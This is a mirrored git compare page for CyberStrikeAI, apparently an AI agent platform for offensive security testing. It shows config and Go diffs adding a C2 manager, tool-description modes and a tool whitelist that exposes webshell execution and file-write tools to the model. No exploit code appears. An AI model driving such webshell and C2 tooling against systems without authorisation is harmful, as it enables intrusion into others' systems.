mirror of
https://github.com/Ed1s0nZ/CyberStrikeAI.git
synced 2026-05-17 21:44:43 +02:00
Compare commits
54 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| ad86623dc1 | |||
| 8185539f33 | |||
| 8158b38f48 | |||
| 4fca4a85c2 | |||
| 62c6f3f191 | |||
| dec69a1993 | |||
| 15aab2584a | |||
| 399b697d75 | |||
| e0753fd03e | |||
| 9b1e493023 | |||
| 77d212098d | |||
| 39926007fe | |||
| 0e35506ae1 | |||
| 9ff8bfa44b | |||
| 1d9fcfd87e | |||
| 91cb650234 | |||
| 44e7d3b340 | |||
| 531b05299a | |||
| 0de69a6345 | |||
| 6a2a445f32 | |||
| 6aaa21d3e0 | |||
| 5c57d358ef | |||
| 65a3475c02 | |||
| 516ebf7a65 | |||
| 2558be3d7d | |||
| f6bb455313 | |||
| fc64356282 | |||
| 3d4fce9b89 | |||
| 3e41a47abf | |||
| 5b942c7bc8 | |||
| bcfb7b8da1 | |||
| f420ae0265 | |||
| e3f59b29ab | |||
| 87cba37203 | |||
| 4773b9e963 | |||
| eda5f9bba1 | |||
| 1318607813 | |||
| 5100924abe | |||
| 44079674dd | |||
| d959390e27 | |||
| 62a0d8cb71 | |||
| b53cae3a02 | |||
| 3b3d094dc4 | |||
| 47922c2083 | |||
| dfaf0bc77f | |||
| 3eb7edb1b8 | |||
| f82f6b861e | |||
| 2acf43c454 | |||
| fad6b3c808 | |||
| 0597838217 | |||
| 1532426b4f | |||
| 3aeb8c3474 | |||
| b2b166972a | |||
| 36b669771c |
+15
-5
@@ -10,7 +10,7 @@
|
||||
# ============================================
|
||||
|
||||
# 前端显示的版本号(可选,不填则显示默认版本)
|
||||
version: "v1.5.8"
|
||||
version: "v1.6.0"
|
||||
# 服务器配置
|
||||
server:
|
||||
host: 0.0.0.0 # 监听地址,0.0.0.0 表示监听所有网络接口
|
||||
@@ -70,7 +70,7 @@ multi_agent:
|
||||
robot_use_multi_agent: true # true 时企业微信/钉钉/飞书机器人也走 Eino 多代理(成本更高)
|
||||
batch_use_multi_agent: false # true 时「批量任务」队列中每个子任务也走 Eino 多代理(成本更高)
|
||||
max_iteration: 0 # 主代理 / plan_execute 执行器最大轮次,0 表示沿用 agent.max_iterations
|
||||
# plan_execute 专用:execute↔replan 外层循环上限,0 表示 Eino 默认 10。Executor 未暴露 Handlers:patch/reduction/plantask 不作用于 PE,但 tool_search 工具列表拆分仍通过共享 ToolsConfig 作用于执行器。
|
||||
# plan_execute 专用:execute↔replan 外层循环上限,0 表示 Eino 默认 10。当前实现下 Executor 会挂载 patch/reduction/tool_search 等前置中间件。
|
||||
plan_execute_loop_max_iterations: 0
|
||||
sub_agent_max_iterations: 120
|
||||
sub_agent_user_context_max_runes: 0 # 子代理 task 描述中自动注入用户原始请求的字符上限;0=默认2000,负数=禁用
|
||||
@@ -87,15 +87,25 @@ multi_agent:
|
||||
# Eino ADK 中间件与 Deep/Supervisor 调参(结构体见 internal/config/config.go → MultiAgentEinoMiddlewareConfig)
|
||||
eino_middleware:
|
||||
patch_tool_calls: true # true:修补历史中无 tool_result 的悬空 tool_call(流式中断/重试后更稳);false:关闭;字段省略时默认等同 true
|
||||
tool_search_enable: false # true:工具数 ≥ min 时启用 tool_search,仅前 N 个工具常驻,其余按正则按需解锁,省 token、减误选;false:全量工具进上下文
|
||||
tool_search_enable: true # true:工具数 ≥ min 时启用 tool_search,仅前 N 个工具常驻,其余按正则按需解锁,省 token、减误选;false:全量工具进上下文
|
||||
tool_search_min_tools: 20 # 达到该数量才启用 tool_search(避免工具很少时多此一举);与 always_visible 配合使用
|
||||
tool_search_always_visible: 12 # 始终直接暴露给模型的工具个数(顺序与角色工具列表一致);其余工具进入动态池,需 tool_search 解锁
|
||||
tool_search_always_visible_tools: [read_file, glob, grep, write_file, edit_file, execute, task, transfer_to_agent, exit, write_todos, skill, tool_search, TaskCreate, TaskGet, TaskUpdate, TaskList, record_vulnerability, list_knowledge_risk_types, search_knowledge_base, webshell_exec, webshell_file_list, webshell_file_read, webshell_file_write, manage_webshell_list, manage_webshell_add, manage_webshell_update, manage_webshell_delete, manage_webshell_test, batch_task_list, batch_task_get, batch_task_start, batch_task_rerun, batch_task_pause, batch_task_update_metadata, batch_task_update_schedule, batch_task_schedule_enabled, batch_task_update_task, batch_task_remove_task, batch_task_delete, batch_task_create, batch_task_add_task, http-framework-test] # 后端内置常驻工具白名单(优先于 always_visible 数量策略)
|
||||
plantask_enable: false # true:主代理(Deep / Supervisor 主)挂载 TaskCreate/Get/Update/List;需 eino_skills 可用且 skills_dir 存在,否则仅打日志并跳过
|
||||
plantask_rel_dir: .eino/plantask # 结构化任务文件相对 skills_dir 的子目录,其下再按会话 ID 分子目录存放
|
||||
reduction_enable: false # true:大工具输出截断/落盘以控上下文;依赖与 plantask 相同的 eino local 写盘后端,无后端时不挂载
|
||||
reduction_enable: true # true:大工具输出截断/落盘以控上下文;依赖与 plantask 相同的 eino local 写盘后端,无后端时不挂载
|
||||
reduction_max_length_for_trunc: 50000 # 单条工具结果超过该字符数(bytes)时截断并落盘(由 reduction 中间件处理)
|
||||
reduction_max_tokens_for_clear: 160000 # 历史工具结果清理阈值(tokens),超阈值时在模型调用前清理旧结果
|
||||
reduction_root_dir: "" # 非空:截断/清理内容落盘根路径;空:使用系统临时目录下按会话隔离的默认路径
|
||||
reduction_clear_exclude: [] # 不参与「清理阶段」的工具名额外列表(会与 task/transfer/exit 等内置排除项合并);需要时用 YAML 列表填写
|
||||
reduction_sub_agents: false # true:子代理也挂 reduction;false:仅编排主代理使用 reduction
|
||||
reduction_sub_agents: true # true:子代理也挂 reduction;false:仅编排主代理使用 reduction
|
||||
summarization_trigger_ratio: 0.8 # summarization 触发比例(max_total_tokens * ratio),建议 0.75~0.85
|
||||
summarization_emit_internal_events: true # true:发出 summarization 内部事件(便于诊断)
|
||||
history_input_budget_ratio: 0.35 # 历史入队预算比例(max_total_tokens * ratio)
|
||||
plan_execute_user_input_budget_ratio: 0.35 # plan_execute 中 userInput 预算比例(planner/replanner/executor 共用)
|
||||
plan_execute_executed_steps_budget_ratio: 0.2 # plan_execute 中 executed_steps 预算比例
|
||||
plan_execute_max_step_result_runes: 4000 # plan_execute 每步结果最大字符数(超出截断)
|
||||
plan_execute_keep_last_steps: 8 # plan_execute 仅保留最近 N 步正文,早期步骤折叠为标题
|
||||
checkpoint_dir: "" # 非空:为 adk.NewRunner 启用按会话子目录的文件型 CheckPointStore,便于中断恢复持久化;Resume 的 HTTP/前端流程需另行对接
|
||||
deep_output_key: "" # 非空:将最终助手输出写入 adk session 的键名(Deep 与 Supervisor 主代理);空表示不写入
|
||||
deep_model_retry_max_retries: 0 # >0:ChatModel 调用失败时的框架级最大重试次数(Deep 与 Supervisor 主);0:不重试
|
||||
|
||||
+59
-32
@@ -13,6 +13,7 @@ import (
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"cyberstrike-ai/internal/c2"
|
||||
"cyberstrike-ai/internal/config"
|
||||
"cyberstrike-ai/internal/mcp"
|
||||
"cyberstrike-ai/internal/mcp/builtin"
|
||||
@@ -39,6 +40,7 @@ type Agent struct {
|
||||
toolNameMapping map[string]string // 工具名称映射:OpenAI格式 -> 原始格式(用于外部MCP工具)
|
||||
currentConversationID string // 当前对话ID(用于自动传递给工具)
|
||||
promptBaseDir string // 解析 system_prompt_path 时相对路径的基准目录(通常为 config.yaml 所在目录)
|
||||
toolDescriptionMode string // 工具描述模式: "short" | "full",默认 short
|
||||
}
|
||||
|
||||
// ResultStorage 结果存储接口(直接使用 storage 包的类型)
|
||||
@@ -73,6 +75,11 @@ func agentConversationIDFromContext(ctx context.Context) string {
|
||||
return v
|
||||
}
|
||||
|
||||
// ConversationIDFromContext 返回当前 Agent 请求上下文中注入的对话 ID(如 C2 MCP 入队与人机协同门控使用)。
|
||||
func ConversationIDFromContext(ctx context.Context) string {
|
||||
return agentConversationIDFromContext(ctx)
|
||||
}
|
||||
|
||||
// ToolCallInterceptor allows caller to gate or rewrite tool arguments just before execution.
|
||||
// Returning a non-nil error means the tool call is rejected and execution is skipped.
|
||||
type ToolCallInterceptor func(ctx context.Context, toolName string, args map[string]interface{}, toolCallID string) (map[string]interface{}, error)
|
||||
@@ -162,6 +169,7 @@ func NewAgent(cfg *config.OpenAIConfig, agentCfg *config.AgentConfig, mcpServer
|
||||
resultStorage: resultStorage,
|
||||
largeResultThreshold: largeResultThreshold,
|
||||
toolNameMapping: make(map[string]string), // 初始化工具名称映射
|
||||
toolDescriptionMode: "short",
|
||||
}
|
||||
}
|
||||
|
||||
@@ -336,10 +344,10 @@ func (fc *FunctionCall) UnmarshalJSON(data []byte) error {
|
||||
|
||||
// AgentLoopResult Agent Loop执行结果
|
||||
type AgentLoopResult struct {
|
||||
Response string
|
||||
MCPExecutionIDs []string
|
||||
LastReActInput string // 最后一轮ReAct的输入(压缩后的messages,JSON格式)
|
||||
LastReActOutput string // 最终大模型的输出
|
||||
Response string
|
||||
MCPExecutionIDs []string
|
||||
LastAgentTraceInput string // 最后一轮代理消息轨迹(压缩后的 messages,JSON;与 multiagent.RunResult 字段对齐)
|
||||
LastAgentTraceOutput string // 最终助手输出文本
|
||||
}
|
||||
|
||||
// ProgressCallback 进度回调函数类型
|
||||
@@ -471,7 +479,7 @@ func (a *Agent) AgentLoopWithProgress(ctx context.Context, userInput string, his
|
||||
}
|
||||
|
||||
// 用于保存当前的messages,以便在异常情况下也能保存ReAct输入
|
||||
var currentReActInput string
|
||||
var currentAgentTraceInput string
|
||||
|
||||
maxIterations := a.maxIterations
|
||||
thinkingStreamSeq := 0
|
||||
@@ -490,9 +498,9 @@ func (a *Agent) AgentLoopWithProgress(ctx context.Context, userInput string, his
|
||||
if err != nil {
|
||||
a.logger.Warn("序列化ReAct输入失败", zap.Error(err))
|
||||
} else {
|
||||
currentReActInput = string(messagesJSON)
|
||||
currentAgentTraceInput = string(messagesJSON)
|
||||
// 更新result中的值,确保始终保存最新的ReAct输入(压缩后的)
|
||||
result.LastReActInput = currentReActInput
|
||||
result.LastAgentTraceInput = currentAgentTraceInput
|
||||
}
|
||||
|
||||
// 检查上下文是否已取消
|
||||
@@ -500,13 +508,13 @@ func (a *Agent) AgentLoopWithProgress(ctx context.Context, userInput string, his
|
||||
case <-ctx.Done():
|
||||
// 上下文被取消(可能是用户主动暂停或其他原因)
|
||||
a.logger.Info("检测到上下文取消,保存当前ReAct数据", zap.Error(ctx.Err()))
|
||||
result.LastReActInput = currentReActInput
|
||||
result.LastAgentTraceInput = currentAgentTraceInput
|
||||
if ctx.Err() == context.Canceled {
|
||||
result.Response = "任务已被取消。"
|
||||
} else {
|
||||
result.Response = fmt.Sprintf("任务执行中断: %v", ctx.Err())
|
||||
}
|
||||
result.LastReActOutput = result.Response
|
||||
result.LastAgentTraceOutput = result.Response
|
||||
return result, ctx.Err()
|
||||
default:
|
||||
}
|
||||
@@ -600,10 +608,10 @@ func (a *Agent) AgentLoopWithProgress(ctx context.Context, userInput string, his
|
||||
})
|
||||
if err != nil {
|
||||
// API调用失败,保存当前的ReAct输入和错误信息作为输出
|
||||
result.LastReActInput = currentReActInput
|
||||
result.LastAgentTraceInput = currentAgentTraceInput
|
||||
errorMsg := fmt.Sprintf("调用OpenAI失败: %v", err)
|
||||
result.Response = errorMsg
|
||||
result.LastReActOutput = errorMsg
|
||||
result.LastAgentTraceOutput = errorMsg
|
||||
a.logger.Warn("OpenAI调用失败,已保存ReAct数据", zap.Error(err))
|
||||
return result, fmt.Errorf("调用OpenAI失败: %w", err)
|
||||
}
|
||||
@@ -629,19 +637,19 @@ func (a *Agent) AgentLoopWithProgress(ctx context.Context, userInput string, his
|
||||
continue
|
||||
}
|
||||
// OpenAI返回错误,保存当前的ReAct输入和错误信息作为输出
|
||||
result.LastReActInput = currentReActInput
|
||||
result.LastAgentTraceInput = currentAgentTraceInput
|
||||
errorMsg := fmt.Sprintf("OpenAI错误: %s", response.Error.Message)
|
||||
result.Response = errorMsg
|
||||
result.LastReActOutput = errorMsg
|
||||
result.LastAgentTraceOutput = errorMsg
|
||||
return result, fmt.Errorf("OpenAI错误: %s", response.Error.Message)
|
||||
}
|
||||
|
||||
if len(response.Choices) == 0 {
|
||||
// 没有收到响应,保存当前的ReAct输入和错误信息作为输出
|
||||
result.LastReActInput = currentReActInput
|
||||
result.LastAgentTraceInput = currentAgentTraceInput
|
||||
errorMsg := "没有收到响应"
|
||||
result.Response = errorMsg
|
||||
result.LastReActOutput = errorMsg
|
||||
result.LastAgentTraceOutput = errorMsg
|
||||
return result, fmt.Errorf("没有收到响应")
|
||||
}
|
||||
|
||||
@@ -816,7 +824,7 @@ func (a *Agent) AgentLoopWithProgress(ctx context.Context, userInput string, his
|
||||
})
|
||||
if strings.TrimSpace(streamText) != "" {
|
||||
result.Response = streamText
|
||||
result.LastReActOutput = result.Response
|
||||
result.LastAgentTraceOutput = result.Response
|
||||
sendProgress("progress", "总结生成完成", nil)
|
||||
return result, nil
|
||||
}
|
||||
@@ -863,14 +871,14 @@ func (a *Agent) AgentLoopWithProgress(ctx context.Context, userInput string, his
|
||||
})
|
||||
if strings.TrimSpace(streamText) != "" {
|
||||
result.Response = streamText
|
||||
result.LastReActOutput = result.Response
|
||||
result.LastAgentTraceOutput = result.Response
|
||||
sendProgress("progress", "总结生成完成", nil)
|
||||
return result, nil
|
||||
}
|
||||
// 如果获取总结失败,使用当前回复作为结果
|
||||
if choice.Message.Content != "" {
|
||||
result.Response = choice.Message.Content
|
||||
result.LastReActOutput = result.Response
|
||||
result.LastAgentTraceOutput = result.Response
|
||||
return result, nil
|
||||
}
|
||||
// 如果都没有内容,跳出循环,让后续逻辑处理
|
||||
@@ -881,7 +889,7 @@ func (a *Agent) AgentLoopWithProgress(ctx context.Context, userInput string, his
|
||||
if choice.FinishReason == "stop" {
|
||||
sendProgress("progress", "正在生成最终回复...", nil)
|
||||
result.Response = choice.Message.Content
|
||||
result.LastReActOutput = result.Response
|
||||
result.LastAgentTraceOutput = result.Response
|
||||
return result, nil
|
||||
}
|
||||
}
|
||||
@@ -910,19 +918,19 @@ func (a *Agent) AgentLoopWithProgress(ctx context.Context, userInput string, his
|
||||
})
|
||||
if strings.TrimSpace(streamText) != "" {
|
||||
result.Response = streamText
|
||||
result.LastReActOutput = result.Response
|
||||
result.LastAgentTraceOutput = result.Response
|
||||
sendProgress("progress", "总结生成完成", nil)
|
||||
return result, nil
|
||||
}
|
||||
|
||||
// 如果无法生成总结,返回友好的提示
|
||||
result.Response = fmt.Sprintf("已达到最大迭代次数(%d轮)。系统已执行了多轮测试,但由于达到迭代上限,无法继续自动执行。建议您查看已执行的工具结果,或提出新的测试请求以继续测试。", a.maxIterations)
|
||||
result.LastReActOutput = result.Response
|
||||
result.LastAgentTraceOutput = result.Response
|
||||
return result, nil
|
||||
}
|
||||
|
||||
// getAvailableTools 获取可用工具
|
||||
// 从MCP服务器动态获取工具列表,使用简短描述以减少token消耗
|
||||
// 从MCP服务器动态获取工具列表,描述模式由 tool_description_mode 控制
|
||||
// roleTools: 角色配置的工具列表(toolKey格式),如果为空或nil,则使用所有工具(默认角色)
|
||||
func (a *Agent) getAvailableTools(roleTools []string) []Tool {
|
||||
// 构建角色工具集合(用于快速查找)
|
||||
@@ -946,11 +954,7 @@ func (a *Agent) getAvailableTools(roleTools []string) []Tool {
|
||||
continue // 不在角色工具列表中,跳过
|
||||
}
|
||||
}
|
||||
// 使用简短描述(如果存在),否则使用详细描述
|
||||
description := mcpTool.ShortDescription
|
||||
if description == "" {
|
||||
description = mcpTool.Description
|
||||
}
|
||||
description := a.pickToolDescription(mcpTool.ShortDescription, mcpTool.Description)
|
||||
|
||||
// 转换schema中的类型为OpenAI标准类型
|
||||
convertedSchema := a.convertSchemaTypes(mcpTool.InputSchema)
|
||||
@@ -1024,11 +1028,7 @@ func (a *Agent) getAvailableTools(roleTools []string) []Tool {
|
||||
continue
|
||||
}
|
||||
|
||||
// 使用简短描述(如果存在),否则使用详细描述
|
||||
description := externalTool.ShortDescription
|
||||
if description == "" {
|
||||
description = externalTool.Description
|
||||
}
|
||||
description := a.pickToolDescription(externalTool.ShortDescription, externalTool.Description)
|
||||
|
||||
// 转换schema中的类型为OpenAI标准类型
|
||||
convertedSchema := a.convertSchemaTypes(externalTool.InputSchema)
|
||||
@@ -1063,6 +1063,19 @@ func (a *Agent) getAvailableTools(roleTools []string) []Tool {
|
||||
return tools
|
||||
}
|
||||
|
||||
func (a *Agent) pickToolDescription(shortDesc, fullDesc string) string {
|
||||
a.mu.RLock()
|
||||
mode := strings.TrimSpace(strings.ToLower(a.toolDescriptionMode))
|
||||
a.mu.RUnlock()
|
||||
if mode == "full" {
|
||||
return fullDesc
|
||||
}
|
||||
if shortDesc != "" {
|
||||
return shortDesc
|
||||
}
|
||||
return fullDesc
|
||||
}
|
||||
|
||||
// convertSchemaTypes 递归转换schema中的类型为OpenAI标准类型
|
||||
func (a *Agent) convertSchemaTypes(schema map[string]interface{}) map[string]interface{} {
|
||||
if schema == nil {
|
||||
@@ -1478,6 +1491,8 @@ func (a *Agent) executeToolViaMCP(ctx context.Context, toolName string, args map
|
||||
}
|
||||
}()
|
||||
}
|
||||
// C2 危险任务 HITL 异步等待:须绑定整条 Agent 运行期 ctx,而非单次工具子 ctx(return 时会被 cancel)
|
||||
toolCtx = c2.WithHITLRunContext(toolCtx, ctx)
|
||||
|
||||
// 检查是否是外部MCP工具(通过工具名称映射)
|
||||
a.mu.RLock()
|
||||
@@ -1665,6 +1680,18 @@ func (a *Agent) UpdateMaxIterations(maxIterations int) {
|
||||
}
|
||||
}
|
||||
|
||||
// UpdateToolDescriptionMode 更新工具描述模式(short/full)
|
||||
func (a *Agent) UpdateToolDescriptionMode(mode string) {
|
||||
a.mu.Lock()
|
||||
defer a.mu.Unlock()
|
||||
mode = strings.TrimSpace(strings.ToLower(mode))
|
||||
if mode != "full" {
|
||||
mode = "short"
|
||||
}
|
||||
a.toolDescriptionMode = mode
|
||||
a.logger.Info("Agent工具描述模式已更新", zap.String("tool_description_mode", mode))
|
||||
}
|
||||
|
||||
// formatToolError 格式化工具错误信息,提供更友好的错误描述
|
||||
func (a *Agent) formatToolError(toolName string, args map[string]interface{}, err error) string {
|
||||
errorMsg := fmt.Sprintf(`工具执行失败
|
||||
|
||||
@@ -18,62 +18,62 @@ import (
|
||||
func setupTestAgent(t *testing.T) (*Agent, *storage.FileResultStorage) {
|
||||
logger := zap.NewNop()
|
||||
mcpServer := mcp.NewServer(logger)
|
||||
|
||||
|
||||
openAICfg := &config.OpenAIConfig{
|
||||
APIKey: "test-key",
|
||||
BaseURL: "https://api.test.com/v1",
|
||||
Model: "test-model",
|
||||
}
|
||||
|
||||
|
||||
agentCfg := &config.AgentConfig{
|
||||
MaxIterations: 10,
|
||||
LargeResultThreshold: 100, // 设置较小的阈值便于测试
|
||||
ResultStorageDir: "",
|
||||
}
|
||||
|
||||
|
||||
agent := NewAgent(openAICfg, agentCfg, mcpServer, nil, logger, 10)
|
||||
|
||||
|
||||
// 创建测试存储
|
||||
tmpDir := filepath.Join(os.TempDir(), "test_agent_storage_"+time.Now().Format("20060102_150405"))
|
||||
testStorage, err := storage.NewFileResultStorage(tmpDir, logger)
|
||||
if err != nil {
|
||||
t.Fatalf("创建测试存储失败: %v", err)
|
||||
}
|
||||
|
||||
|
||||
agent.SetResultStorage(testStorage)
|
||||
|
||||
|
||||
return agent, testStorage
|
||||
}
|
||||
|
||||
func TestAgent_FormatMinimalNotification(t *testing.T) {
|
||||
agent, testStorage := setupTestAgent(t)
|
||||
_ = testStorage // 避免未使用变量警告
|
||||
|
||||
|
||||
executionID := "test_exec_001"
|
||||
toolName := "nmap_scan"
|
||||
size := 50000
|
||||
lineCount := 1000
|
||||
filePath := "tmp/test_exec_001.txt"
|
||||
|
||||
|
||||
notification := agent.formatMinimalNotification(executionID, toolName, size, lineCount, filePath)
|
||||
|
||||
|
||||
// 验证通知包含必要信息
|
||||
if !strings.Contains(notification, executionID) {
|
||||
t.Errorf("通知中应该包含执行ID: %s", executionID)
|
||||
}
|
||||
|
||||
|
||||
if !strings.Contains(notification, toolName) {
|
||||
t.Errorf("通知中应该包含工具名称: %s", toolName)
|
||||
}
|
||||
|
||||
|
||||
if !strings.Contains(notification, "50000") {
|
||||
t.Errorf("通知中应该包含大小信息")
|
||||
}
|
||||
|
||||
|
||||
if !strings.Contains(notification, "1000") {
|
||||
t.Errorf("通知中应该包含行数信息")
|
||||
}
|
||||
|
||||
|
||||
if !strings.Contains(notification, "query_execution_result") {
|
||||
t.Errorf("通知中应该包含查询工具的使用说明")
|
||||
}
|
||||
@@ -81,7 +81,7 @@ func TestAgent_FormatMinimalNotification(t *testing.T) {
|
||||
|
||||
func TestAgent_ExecuteToolViaMCP_LargeResult(t *testing.T) {
|
||||
agent, _ := setupTestAgent(t)
|
||||
|
||||
|
||||
// 创建模拟的MCP工具结果(大结果)
|
||||
largeResult := &mcp.ToolResult{
|
||||
Content: []mcp.Content{
|
||||
@@ -92,59 +92,59 @@ func TestAgent_ExecuteToolViaMCP_LargeResult(t *testing.T) {
|
||||
},
|
||||
IsError: false,
|
||||
}
|
||||
|
||||
|
||||
// 模拟MCP服务器返回大结果
|
||||
// 由于我们需要模拟CallTool的行为,这里需要创建一个mock或者使用实际的MCP服务器
|
||||
// 为了简化测试,我们直接测试结果处理逻辑
|
||||
|
||||
|
||||
// 设置阈值
|
||||
agent.mu.Lock()
|
||||
agent.largeResultThreshold = 1000 // 设置较小的阈值
|
||||
agent.mu.Unlock()
|
||||
|
||||
|
||||
// 创建执行ID
|
||||
executionID := "test_exec_large_001"
|
||||
toolName := "test_tool"
|
||||
|
||||
|
||||
// 格式化结果
|
||||
var resultText strings.Builder
|
||||
for _, content := range largeResult.Content {
|
||||
resultText.WriteString(content.Text)
|
||||
resultText.WriteString("\n")
|
||||
}
|
||||
|
||||
|
||||
resultStr := resultText.String()
|
||||
resultSize := len(resultStr)
|
||||
|
||||
|
||||
// 检测大结果并保存
|
||||
agent.mu.RLock()
|
||||
threshold := agent.largeResultThreshold
|
||||
storage := agent.resultStorage
|
||||
agent.mu.RUnlock()
|
||||
|
||||
|
||||
if resultSize > threshold && storage != nil {
|
||||
// 保存大结果
|
||||
err := storage.SaveResult(executionID, toolName, resultStr)
|
||||
if err != nil {
|
||||
t.Fatalf("保存大结果失败: %v", err)
|
||||
}
|
||||
|
||||
|
||||
// 生成通知
|
||||
lines := strings.Split(resultStr, "\n")
|
||||
filePath := storage.GetResultPath(executionID)
|
||||
notification := agent.formatMinimalNotification(executionID, toolName, resultSize, len(lines), filePath)
|
||||
|
||||
|
||||
// 验证通知格式
|
||||
if !strings.Contains(notification, executionID) {
|
||||
t.Errorf("通知中应该包含执行ID")
|
||||
}
|
||||
|
||||
|
||||
// 验证结果已保存
|
||||
savedResult, err := storage.GetResult(executionID)
|
||||
if err != nil {
|
||||
t.Fatalf("获取保存的结果失败: %v", err)
|
||||
}
|
||||
|
||||
|
||||
if savedResult != resultStr {
|
||||
t.Errorf("保存的结果与原始结果不匹配")
|
||||
}
|
||||
@@ -155,7 +155,7 @@ func TestAgent_ExecuteToolViaMCP_LargeResult(t *testing.T) {
|
||||
|
||||
func TestAgent_ExecuteToolViaMCP_SmallResult(t *testing.T) {
|
||||
agent, _ := setupTestAgent(t)
|
||||
|
||||
|
||||
// 创建小结果
|
||||
smallResult := &mcp.ToolResult{
|
||||
Content: []mcp.Content{
|
||||
@@ -166,32 +166,32 @@ func TestAgent_ExecuteToolViaMCP_SmallResult(t *testing.T) {
|
||||
},
|
||||
IsError: false,
|
||||
}
|
||||
|
||||
|
||||
// 设置较大的阈值
|
||||
agent.mu.Lock()
|
||||
agent.largeResultThreshold = 100000 // 100KB
|
||||
agent.mu.Unlock()
|
||||
|
||||
|
||||
// 格式化结果
|
||||
var resultText strings.Builder
|
||||
for _, content := range smallResult.Content {
|
||||
resultText.WriteString(content.Text)
|
||||
resultText.WriteString("\n")
|
||||
}
|
||||
|
||||
|
||||
resultStr := resultText.String()
|
||||
resultSize := len(resultStr)
|
||||
|
||||
|
||||
// 检测大结果
|
||||
agent.mu.RLock()
|
||||
threshold := agent.largeResultThreshold
|
||||
storage := agent.resultStorage
|
||||
agent.mu.RUnlock()
|
||||
|
||||
|
||||
if resultSize > threshold && storage != nil {
|
||||
t.Fatal("小结果不应该被保存")
|
||||
}
|
||||
|
||||
|
||||
// 小结果应该直接返回
|
||||
if resultSize <= threshold {
|
||||
// 这是预期的行为
|
||||
@@ -203,26 +203,26 @@ func TestAgent_ExecuteToolViaMCP_SmallResult(t *testing.T) {
|
||||
|
||||
func TestAgent_SetResultStorage(t *testing.T) {
|
||||
agent, _ := setupTestAgent(t)
|
||||
|
||||
|
||||
// 创建新的存储
|
||||
tmpDir := filepath.Join(os.TempDir(), "test_new_storage_"+time.Now().Format("20060102_150405"))
|
||||
newStorage, err := storage.NewFileResultStorage(tmpDir, zap.NewNop())
|
||||
if err != nil {
|
||||
t.Fatalf("创建新存储失败: %v", err)
|
||||
}
|
||||
|
||||
|
||||
// 设置新存储
|
||||
agent.SetResultStorage(newStorage)
|
||||
|
||||
|
||||
// 验证存储已更新
|
||||
agent.mu.RLock()
|
||||
currentStorage := agent.resultStorage
|
||||
agent.mu.RUnlock()
|
||||
|
||||
|
||||
if currentStorage != newStorage {
|
||||
t.Fatal("存储未正确更新")
|
||||
}
|
||||
|
||||
|
||||
// 清理
|
||||
os.RemoveAll(tmpDir)
|
||||
}
|
||||
@@ -230,24 +230,24 @@ func TestAgent_SetResultStorage(t *testing.T) {
|
||||
func TestAgent_NewAgent_DefaultValues(t *testing.T) {
|
||||
logger := zap.NewNop()
|
||||
mcpServer := mcp.NewServer(logger)
|
||||
|
||||
|
||||
openAICfg := &config.OpenAIConfig{
|
||||
APIKey: "test-key",
|
||||
BaseURL: "https://api.test.com/v1",
|
||||
Model: "test-model",
|
||||
}
|
||||
|
||||
|
||||
// 测试默认配置
|
||||
agent := NewAgent(openAICfg, nil, mcpServer, nil, logger, 0)
|
||||
|
||||
|
||||
if agent.maxIterations != 30 {
|
||||
t.Errorf("默认迭代次数不匹配。期望: 30, 实际: %d", agent.maxIterations)
|
||||
}
|
||||
|
||||
|
||||
agent.mu.RLock()
|
||||
threshold := agent.largeResultThreshold
|
||||
agent.mu.RUnlock()
|
||||
|
||||
|
||||
if threshold != 50*1024 {
|
||||
t.Errorf("默认阈值不匹配。期望: %d, 实际: %d", 50*1024, threshold)
|
||||
}
|
||||
@@ -256,31 +256,30 @@ func TestAgent_NewAgent_DefaultValues(t *testing.T) {
|
||||
func TestAgent_NewAgent_CustomConfig(t *testing.T) {
|
||||
logger := zap.NewNop()
|
||||
mcpServer := mcp.NewServer(logger)
|
||||
|
||||
|
||||
openAICfg := &config.OpenAIConfig{
|
||||
APIKey: "test-key",
|
||||
BaseURL: "https://api.test.com/v1",
|
||||
Model: "test-model",
|
||||
}
|
||||
|
||||
|
||||
agentCfg := &config.AgentConfig{
|
||||
MaxIterations: 20,
|
||||
LargeResultThreshold: 100 * 1024, // 100KB
|
||||
ResultStorageDir: "custom_tmp",
|
||||
}
|
||||
|
||||
|
||||
agent := NewAgent(openAICfg, agentCfg, mcpServer, nil, logger, 15)
|
||||
|
||||
|
||||
if agent.maxIterations != 15 {
|
||||
t.Errorf("迭代次数不匹配。期望: 15, 实际: %d", agent.maxIterations)
|
||||
}
|
||||
|
||||
|
||||
agent.mu.RLock()
|
||||
threshold := agent.largeResultThreshold
|
||||
agent.mu.RUnlock()
|
||||
|
||||
|
||||
if threshold != 100*1024 {
|
||||
t.Errorf("阈值不匹配。期望: %d, 实际: %d", 100*1024, threshold)
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -256,11 +256,11 @@ func orchestratorConfigFromOrchestrator(o *OrchestratorMarkdown) config.MultiAge
|
||||
return config.MultiAgentSubConfig{}
|
||||
}
|
||||
return config.MultiAgentSubConfig{
|
||||
ID: o.EinoName,
|
||||
Name: o.DisplayName,
|
||||
Description: o.Description,
|
||||
Instruction: o.Instruction,
|
||||
Kind: "orchestrator",
|
||||
ID: o.EinoName,
|
||||
Name: o.DisplayName,
|
||||
Description: o.Description,
|
||||
Instruction: o.Instruction,
|
||||
Kind: "orchestrator",
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -13,6 +13,7 @@ import (
|
||||
"time"
|
||||
|
||||
"cyberstrike-ai/internal/agent"
|
||||
"cyberstrike-ai/internal/c2"
|
||||
"cyberstrike-ai/internal/config"
|
||||
"cyberstrike-ai/internal/database"
|
||||
"cyberstrike-ai/internal/handler"
|
||||
@@ -51,6 +52,9 @@ type App struct {
|
||||
robotMu sync.Mutex // 保护钉钉/飞书长连接的 cancel
|
||||
dingCancel context.CancelFunc // 钉钉 Stream 取消函数,用于配置变更时重启
|
||||
larkCancel context.CancelFunc // 飞书长连接取消函数,用于配置变更时重启
|
||||
c2Manager *c2.Manager // C2 管理器
|
||||
c2Watchdog *c2.SessionWatchdog // C2 会话看门狗
|
||||
c2WatchdogCancel context.CancelFunc // 看门狗取消函数
|
||||
}
|
||||
|
||||
// New 创建新应用
|
||||
@@ -133,6 +137,7 @@ func New(cfg *config.Config, log *logger.Logger) (*App, error) {
|
||||
maxIterations = 30 // 默认值
|
||||
}
|
||||
agent := agent.NewAgent(&cfg.OpenAI, &cfg.Agent, mcpServer, externalMCPMgr, log.Logger, maxIterations)
|
||||
agent.UpdateToolDescriptionMode(cfg.Security.ToolDescriptionMode)
|
||||
|
||||
// 设置结果存储到Agent
|
||||
agent.SetResultStorage(resultStorage)
|
